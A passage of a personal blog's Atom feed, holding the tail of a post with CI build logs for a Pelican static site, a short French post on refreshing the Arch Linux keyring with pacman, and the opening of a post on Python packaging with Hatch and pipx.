&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;importlib_metadata-6.8.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;smartypants&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.8.3
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;smartypants-2.0.1-py2.py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;.9&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;rtoml&amp;lt;&lt;span class="m"&gt;0&lt;/span&gt;.10.0,&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.9.0
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;rtoml-0.9.0-cp38-cp38-musllinux_1_1_aarch64.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;846&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;846&lt;/span&gt;.2/846.2&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;503&lt;/span&gt;.7&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;webassets&amp;lt;&lt;span class="m"&gt;3&lt;/span&gt;.0,&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.0
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;webassets-2.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;142&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;142&lt;/span&gt;.9/142.9&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;551&lt;/span&gt;.8&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;zipp&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.5
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;zipp-3.16.2-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;.2&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;MarkupSafe&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.0
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;six&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.5
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;six-1.16.0-py2.py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;markdown-it-py&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.2.0
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;markdown_it_py-3.0.0-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;87&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;      &lt;/span&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;87&lt;/span&gt;.5/87.5&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;561&lt;/span&gt;.7&lt;span class="w"&gt; &lt;/span&gt;kB/s&lt;span class="w"&gt; &lt;/span&gt;eta&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:00:00
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;typing-extensions&amp;lt;&lt;span class="m"&gt;5&lt;/span&gt;.0,&amp;gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0.0
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;typing_extensions-4.7.1-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Collecting&lt;span class="w"&gt; &lt;/span&gt;mdurl~&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.1
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Downloading&lt;span class="w"&gt; &lt;/span&gt;mdurl-0.1.2-py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0&lt;span class="w"&gt; &lt;/span&gt;kB&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheels&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;collected&lt;span class="w"&gt; &lt;/span&gt;packages:&lt;span class="w"&gt; &lt;/span&gt;typogrify,&lt;span class="w"&gt; &lt;/span&gt;libsass
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;typogrify&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;started
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;typogrify&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;done&amp;#39;&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Created&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;typogrify:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;typogrify-2.0.7-py2.py3-none-any.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;13452&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sha256&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4ce329903e807671102eab7fd2bc49765b6efc3a4ae68c82053318b62789083c
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Stored&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;directory:&lt;span class="w"&gt; &lt;/span&gt;/root/.cache/pip/wheels/0b/e9/98/c888501e8dd2166da059e4f8418694de9b50b48a7192712be9
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;libsass&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;started
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;libsass&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;still&lt;span class="w"&gt; &lt;/span&gt;running...
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Building&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;libsass&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;setup.py&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;done&amp;#39;&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Created&lt;span class="w"&gt; &lt;/span&gt;wheel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;libsass:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;libsass-0.22.0-cp38-abi3-linux_aarch64.whl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;13710320&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sha256&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3dcb4ce97c1aafc179a6343e0f312c17df88e56c4eb647ab54b09ead5ee00b92
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt;   &lt;/span&gt;Stored&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;directory:&lt;span class="w"&gt; &lt;/span&gt;/root/.cache/pip/wheels/95/64/fa/47638d5037df216387cdc168e9871d5d9851fc995d636bd108
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Successfully&lt;span class="w"&gt; &lt;/span&gt;built&lt;span class="w"&gt; &lt;/span&gt;typogrify&lt;span class="w"&gt; &lt;/span&gt;libsass
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;collected&lt;span class="w"&gt; &lt;/span&gt;packages:&lt;span class="w"&gt; &lt;/span&gt;webassets,&lt;span class="w"&gt; &lt;/span&gt;smartypants,&lt;span class="w"&gt; &lt;/span&gt;pytz,&lt;span class="w"&gt; &lt;/span&gt;zipp,&lt;span class="w"&gt; &lt;/span&gt;unidecode,&lt;span class="w"&gt; &lt;/span&gt;typogrify,&lt;span class="w"&gt; &lt;/span&gt;typing-extensions,&lt;span class="w"&gt; &lt;/span&gt;six,&lt;span class="w"&gt; &lt;/span&gt;rtoml,&lt;span class="w"&gt; &lt;/span&gt;pygments,&lt;span class="w"&gt; &lt;/span&gt;mdurl,&lt;span class="w"&gt; &lt;/span&gt;MarkupSafe,&lt;span class="w"&gt; &lt;/span&gt;libsass,&lt;span class="w"&gt; &lt;/span&gt;feedgenerator,&lt;span class="w"&gt; &lt;/span&gt;docutils,&lt;span class="w"&gt; &lt;/span&gt;blinker,&lt;span class="w"&gt; &lt;/span&gt;python-dateutil,&lt;span class="w"&gt; &lt;/span&gt;markdown-it-py,&lt;span class="w"&gt; &lt;/span&gt;jinja2,&lt;span class="w"&gt; &lt;/span&gt;importlib-metadata,&lt;span class="w"&gt; &lt;/span&gt;rich,&lt;span class="w"&gt; &lt;/span&gt;markdown,&lt;span class="w"&gt; &lt;/span&gt;pelican,&lt;span class="w"&gt; &lt;/span&gt;pelican-webassets,&lt;span class="w"&gt; &lt;/span&gt;pelican-search,&lt;span class="w"&gt; &lt;/span&gt;pelican-neighbors
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Successfully&lt;span class="w"&gt; &lt;/span&gt;installed&lt;span class="w"&gt; &lt;/span&gt;MarkupSafe-2.1.3&lt;span class="w"&gt; &lt;/span&gt;blinker-1.6.2&lt;span class="w"&gt; &lt;/span&gt;docutils-0.20.1&lt;span class="w"&gt; &lt;/span&gt;feedgenerator-2.1.0&lt;span class="w"&gt; &lt;/span&gt;importlib-metadata-6.8.0&lt;span class="w"&gt; &lt;/span&gt;jinja2-3.1.2&lt;span class="w"&gt; &lt;/span&gt;libsass-0.22.0&lt;span class="w"&gt; &lt;/span&gt;markdown-3.4.4&lt;span class="w"&gt; &lt;/span&gt;markdown-it-py-3.0.0&lt;span class="w"&gt; &lt;/span&gt;mdurl-0.1.2&lt;span class="w"&gt; &lt;/span&gt;pelican-4.8.0&lt;span class="w"&gt; &lt;/span&gt;pelican-neighbors-1.2.0&lt;span class="w"&gt; &lt;/span&gt;pelican-search-1.1.0&lt;span class="w"&gt; &lt;/span&gt;pelican-webassets-2.0.0&lt;span class="w"&gt; &lt;/span&gt;pygments-2.16.1&lt;span class="w"&gt; &lt;/span&gt;python-dateutil-2.8.2&lt;span class="w"&gt; &lt;/span&gt;pytz-2023.3&lt;span class="w"&gt; &lt;/span&gt;rich-13.5.2&lt;span class="w"&gt; &lt;/span&gt;rtoml-0.9.0&lt;span class="w"&gt; &lt;/span&gt;six-1.16.0&lt;span class="w"&gt; &lt;/span&gt;smartypants-2.0.1&lt;span class="w"&gt; &lt;/span&gt;typing-extensions-4.7.1&lt;span class="w"&gt; &lt;/span&gt;typogrify-2.0.7&lt;span class="w"&gt; &lt;/span&gt;unidecode-1.3.6&lt;span class="w"&gt; &lt;/span&gt;webassets-2.0&lt;span class="w"&gt; &lt;/span&gt;zipp-3.16.2
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;WARNING:&lt;span class="w"&gt; &lt;/span&gt;Running&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;user&lt;span class="w"&gt; &lt;/span&gt;can&lt;span class="w"&gt; &lt;/span&gt;result&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;broken&lt;span class="w"&gt; &lt;/span&gt;permissions&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;conflicting&lt;span class="w"&gt; &lt;/span&gt;behaviour&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;system&lt;span class="w"&gt; &lt;/span&gt;package&lt;span class="w"&gt; &lt;/span&gt;manager.&lt;span class="w"&gt; &lt;/span&gt;It&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;recommended&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;use&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;virtual&lt;span class="w"&gt; &lt;/span&gt;environment&lt;span class="w"&gt; &lt;/span&gt;instead:&lt;span class="w"&gt; &lt;/span&gt;https://pip.pypa.io/warnings/venv
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;notice&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;release&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;available:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;23&lt;/span&gt;.0.1&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;23&lt;/span&gt;.2.1
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;notice&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;To&lt;span class="w"&gt; &lt;/span&gt;update,&lt;span class="w"&gt; &lt;/span&gt;run:&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;--upgrade&lt;span class="w"&gt; &lt;/span&gt;pip
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;publish
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pelican&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/gcl-builds/content&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/gcl-builds/public&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/gcl-builds/publishconf.py&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Done:&lt;span class="w"&gt; &lt;/span&gt;Processed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;articles,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;drafts,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hidden&lt;span class="w"&gt; &lt;/span&gt;articles,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pages,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hidden&lt;span class="w"&gt; &lt;/span&gt;pages
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;draft&lt;span class="w"&gt; &lt;/span&gt;pages&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.50&lt;span class="w"&gt; &lt;/span&gt;seconds.
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;min
PASS&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="gitlab"></category><category term="docker"></category></entry><entry><title>ArchLinux et mise à jour du keyring</title><link href="https://blog.notmyidea.org/archlinux-et-mise-a-jour-du-keyring.html" rel="alternate"></link><published>2023-08-18T00:00:00+02:00</published><updated>2023-08-18T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-08-18:/archlinux-et-mise-a-jour-du-keyring.html</id><summary type="html">
&lt;p&gt;Pour les mises à jour Arch, j&amp;#8217;utilise &lt;a href="https://github.com/Jguer/yay"&gt;yay&lt;/a&gt;. Je
ne fais les mises à jour que de manière semi-régulière, et parfois après une
longue période je me retrouve avec des soucis de clé qui ne sont plus à jour ou&amp;nbsp;manquantes.&lt;/p&gt;
&lt;p&gt;Avec une utilisation fréquente du système, aucun problème …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Pour les mises à jour Arch, j&amp;#8217;utilise &lt;a href="https://github.com/Jguer/yay"&gt;yay&lt;/a&gt;. Je
ne fais les mises à jour que de manière semi-régulière, et parfois après une
longue période je me retrouve avec des soucis de clé qui ne sont plus à jour ou&amp;nbsp;manquantes.&lt;/p&gt;
&lt;p&gt;Avec une utilisation fréquente du système, aucun problème ne se pose car un
service s&amp;#8217;occupe de faire la mise à jour des clés de manière&amp;nbsp;automatique.&lt;/p&gt;
&lt;p&gt;Pour résoudre le souci, il suffit de mettre à jour le paquet
&lt;code&gt;archlinux-keyring&lt;/code&gt;, comme décrit &lt;a href="https://wiki.archlinux.org/title/Pacman/Package_signing"&gt;dans la page Wiki qui va
bien&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo pacman -S archlinux-keyring
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="arch-linux"></category></entry><entry><title>Python packaging with Hatch, pipx and Zsh environment variables</title><link href="https://blog.notmyidea.org/python-packaging-with-hatch-pipx-and-zsh-environment-variables.html" rel="alternate"></link><published>2023-08-17T00:00:00+02:00</published><updated>2023-08-17T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-08-17:/python-packaging-with-hatch-pipx-and-zsh-environment-variables.html</id><summary type="html">
&lt;p&gt;It&amp;#8217;s been a while I didn&amp;#8217;t packaged something new. I recently remembered an old
